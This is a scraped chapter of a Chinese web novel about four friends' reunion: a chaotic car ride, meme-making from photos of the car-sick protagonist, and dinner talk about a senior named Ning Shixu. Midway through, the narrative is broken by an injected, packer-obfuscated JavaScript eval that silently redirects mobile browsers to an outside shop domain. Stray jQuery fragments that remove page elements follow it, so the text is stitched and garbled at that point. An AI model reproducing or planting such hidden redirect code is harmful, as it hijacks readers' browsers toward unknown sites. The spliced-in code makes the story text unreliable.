文趣网 > 其他小说 > 拜托,我只是个beta > 13. 学长?
    下午到的家,天气还算暖和,文钰提着从A市机场远道而来的奶茶空壳迈步前往谢思邈的宝贝座驾,身后跟着小启子和小思子忙前忙后,帮他背包提行李。

    一路走过来问了好几遍姜慈蕊跑哪去了,怎么不来迎接,俩人贼眉鼠眼、神秘兮兮地透露说他准备了惊喜在车上,要他上车务必直接进副驾。

    文钰拉开车门,姜慈蕊坐在驾驶座上冲他笑。他被笑得起了一身鸡皮疙瘩,立马弹跳起步,急忙往后撤。

    向启和谢思邈两人在后面用他的行李箱死死抵住他,没给他丝毫逃脱的机会。文钰后撤路线被完全堵死,挣扎过程中没注意脚下,被轮子绊到,“啪嗒”坐到自己行李箱上。

    他放弃挣扎,稳稳当当坐着问姜慈蕊:“你坐这干嘛?”

    姜慈蕊:“开车啊~”

    文钰:“谁开车?”

    姜慈蕊:“我开呀~”

    向启/谢思邈:“姜慈蕊开!”

    文钰扭头看着两个人,万分惊恐:“你们也同意他开车?”

    姜慈蕊曾有将车咕蛹进小区绿化带的辉煌经历,令人敬佩。一般来说谢思邈会管控他不让他开车,但是今天他们俩显然吃了错药。

    谢思邈一锤定音:“让他试试。”

    文钰努力挣扎,却不小心瞥到谢思邈悄悄移步到车门侧边,双手合十偷偷向他抱拳。

    他真要满头问号了。

    这人啥意思?

    向启根本没注意到这边,他看热闹不嫌事大,还在添油加醋,试图拱火:“来的时候就他开的,蛮好的,你赶紧体验一下。”

    肯定有鬼!

    文钰宁愿做逃兵打车回去,但身后两人已经把他架起来推进副驾。本着对朋友的信任和要死一起死的决心,文钰一路上手没有离开过安全带和拉手。

    事实证明,这个决策完全正确。

    姜慈蕊车技进步的惊人,不仅把一车人安全带到目的地,还在高速路上赛出风采,车速快得文钰不敢睁开眼。

    上车前文钰怀疑谢思邈和向启是不是干了什么对不起姜慈蕊的事。

    在车上文钰开始质疑自己是否真这么人神共愤,在脑内走马灯过去半个月的所有事件。

    下车后文钰只想找个垃圾桶吐一下。

    在文钰蹲在路边反省自我的时候,身后三个声音吵得要死。

    姜慈蕊据理力争,指责文钰本来就晕车不能怪他,都是你们俩坏心眼非要让他坐副驾。

    谢思邈从从容容、游刃有余,说无论他坐哪都是这个效果,劝姜慈蕊不要做无力的挣扎了,以后还是乖乖坐自己的车。

    我文钰是你们play的一环吗?

    向启的声音最近,幸灾乐祸说幸好来回都不是他坐副驾。

    文钰意识到他在和自己说话,抬头望他。一抬头就看见向启的手机杵在自己头顶斜上方,离了大约一个手肘的距离。

    文钰:“你是不是在拍我?”

    向启:“怎么可能,我那么无聊?”

    文钰有气无力“嗯”了一声,又把头埋下去,没再管他。

    向启抓住时机,四面环拍,文钰觉得他还是不要搞什么酒吧画展之类的艺术活动了,完全是当狗仔记者的一把好手。

    文钰声音闷闷的:“别把我拍太丑……”

    向启对自己的艺术造诣百分百自信,三两步跳开打断那对情侣的无意义互动,要他们欣赏自己给文钰拍的靓照。

    有文钰那张脸在,再怎么拍也是靓的。

    姜慈蕊夸他拍的好,叫他赶紧发到群里。向启神气的不行,头要翘到天上去,一连甩了十八张出来。

    姜慈蕊大为震撼,勒令他不要刷屏,他还振振有词,说这里每一张都有独到的不同之处,需要细细品味。

    品什么?找不同吗。

    没人搭理他,姜慈蕊一路滑到底,迅速选定两张裁成表情包重新发进群里。

    一张埋着头,文钰的背影照,看起来很落寞,再加上后期加工给他的圆脑袋排的阴影线,像可怜的自闭蘑菇。

    另一张仰着头,几乎是正面俯拍的角度,四周多余的都被裁了,只能关注到他那张脸,脸色苍白眼眶泛红,又帅气又惹人怜。

    所有人拿出智能手机存下新表情包,群里一阵刷屏,中间还夹杂几张其他人新鲜出炉再加工的大作。

    谢思邈的车给泊车员去停了,三个人面无表情,神色肃穆,像门神一样站在御锦园门口等文钰缓过来,只是挨个手里都抱着个手机。

    几个门童很热情,光是问候他们的预约就已经挨个轮过一圈。

    文钰尬的要死,催他们赶紧先进去。

    现在正是新一季表情包大赛的白热化阶段,三位参赛选手在群里纷纷发力,掏出私藏。

    他们几个陶醉在表情包世界里实在忘我了,屏蔽外界,非要站在门口捧手机,手机屏幕折射的幽幽白光打在脸上,像几只半夜出门吓人的幽魂。若非预约制,御锦园今晚的生意能少了一半,姜慈蕊作为少东家也不管管。

    文钰头也不晕了胃也不泛酸了,气的“噌”一下站起来往酒楼里面冲。

    出逃小文在线吃独食,谁去接?

    小谢小姜小向纷纷放下手机表示:“比赛暂停,我去接。”

    三人你追我赶,一度超过引路的服务员,过道两侧有人欲言又止。文钰深感丢脸,只好假装两耳不闻窗外事,木着一张脸直线行驶,像个设定笨拙的小机器人。

    一片混战后终于落座,文钰品味完这像人生一样精彩的柠檬水,摸出一直在响个不停的手机。

    一键上拉从最开始看起,一开始是自己的表情包solo,后面演化成四人大混战。文钰面不改色,偷偷收下自己的新表情包,然后另外精心挑选出其他三人的“典藏款”发到群里。

    做完这一系列动作,默默摁下静音,深藏功与名。

    服务员三次前来提醒菜上齐了,群里的二战才终于平息。几个人太熟了,已经过了讲究食不言寝不语的阶段,纷纷表示不用服务员杵在这帮忙,他们自己看着来就行,然后等服务员们鱼贯而出后提起筷子打开话闸子。

    从向启的酒吧新装修完根本没人去到谢思邈也进自家公司从基层干起每天往返技术部门和生产线当矿工,再到小情侣考虑订婚嘲笑剩下两个单身狗。

    谢思邈像想起来什么,突然问文钰:“我前几天听你那个宁时煦耳熟,是不是咱们高中……”

    话还没说完,就被向启打断了:“我那天就问了,他说不是。”

    文钰:“什么不是?”

    姜慈蕊那会儿不认识他们,更加茫然:“不是什么?”</

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17676118|207470||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>

    向启发起被动技能:“就我们高中也有个宁时煦,你们家老谢问的不是同一个人呢。”

    姜慈蕊似懂非懂,看向启不想多提,就没有再问。

    结果最该懂的人没懂:“我们高中也有?我怎么不知道?”

    向启和谢思邈两双眼睛像探照灯一样照过来,文钰脊背发凉,但是坚持说明:“我真不认识。”

    谢思邈一脸不可思议:“就你当时那什么的时候!”他吞吞吐吐,想说不敢说。

    看文钰还是很懵,向启再次作出补充:“就高一,你住院那时候,他和谢思邈做学生代表去看你呢还。”

    高一、住院、那什么三个词随机组合,文钰秒懂:“哦哦,那时候,我不知道啊我就记得那会你和向启逃课来看过我两回。”

    他回答的云淡风轻,好像确实不在意这段时期,向启和谢思邈也放心接话。。

    谢思邈:“我去了三回!”

    “他还染了个头,你真不记得?”

    见文钰实在不知道,谢思邈自圆其说:“你当时昏昏沉沉的,应该没注意我们。而且他是高三生,你不认识也正常。”

    文钰根本不知道这件事,他对那段时间的记忆除了刚苏醒那天那些亲朋好友的嘴脸,就只有两个好友和后期经常遇到的蒙头盖脸社恐蓝毛。

    文钰:“我俩不认识他来看我做什么?”

    谢思邈:“学校安排,一开始就指了我和你们班班主任,后面临时加的他,他很不情愿,不知道学校抽什么风。”

    “不是说不是同一个人?可能是撞名,对方应该早就忘记了,没什么影响。”

    谢思邈作为他们那一届首席,对学校怨言极大,难得话多。

    文钰心里有点嘀咕,但听他这话想想也对,是不是同一个人都不影响,这种小事谁会挂在心上。更何况……

    “更何况那学长早出国了。”向启补充,“我托朋友问的,高中毕业就出国了,估计现在也在国外发展吧。”

    文钰把心放回肚子里,做出总结:“应该不是同一个人。”

    众人没再多纠结,除了信息不足半懂不懂的姜慈蕊在试图和谢思邈眉目传情以外,所有人都继续安心吃饭,话题很快叉开。

    文钰有心想提一下今天得知的爆炸新闻——他的离谱工资,以及宁时煦在通话中的态度,但不知道如何开口,最后作罢。

    只有向启在晚上转战酒吧的路上,关心了一下他的欲言又止。

    文钰刚开话头,向启就开始“斯到普斯到普!”,叫他到了说给三个人一块儿听。

    向启的新酒吧装的很高级,但是营业额显然惨淡,不知道猴年马月才能把本金收回,文钰暗自担心自己投进去的红票。

    一眼望过去酒吧里清一色的白衬衫黑裤子,全是他亲自招来的服务员和酒保,个顶个的美人胚子。

    刚推门进去各个都转头笑靥如画对着他们,等看清了是老板驾到,又纷纷把头转回去。

    向启宽宏大量,撇撇嘴没说什么。

    谢思邈发出质疑:“你这酒吧正经吗?”

    他这么说向启就不乐意了。

    “去去去。”向启推他一把,嘴像机关枪,妙语连珠射向谢思邈,“比你正经多了,你才不正经呢。”

    “死alpha,最不正经!”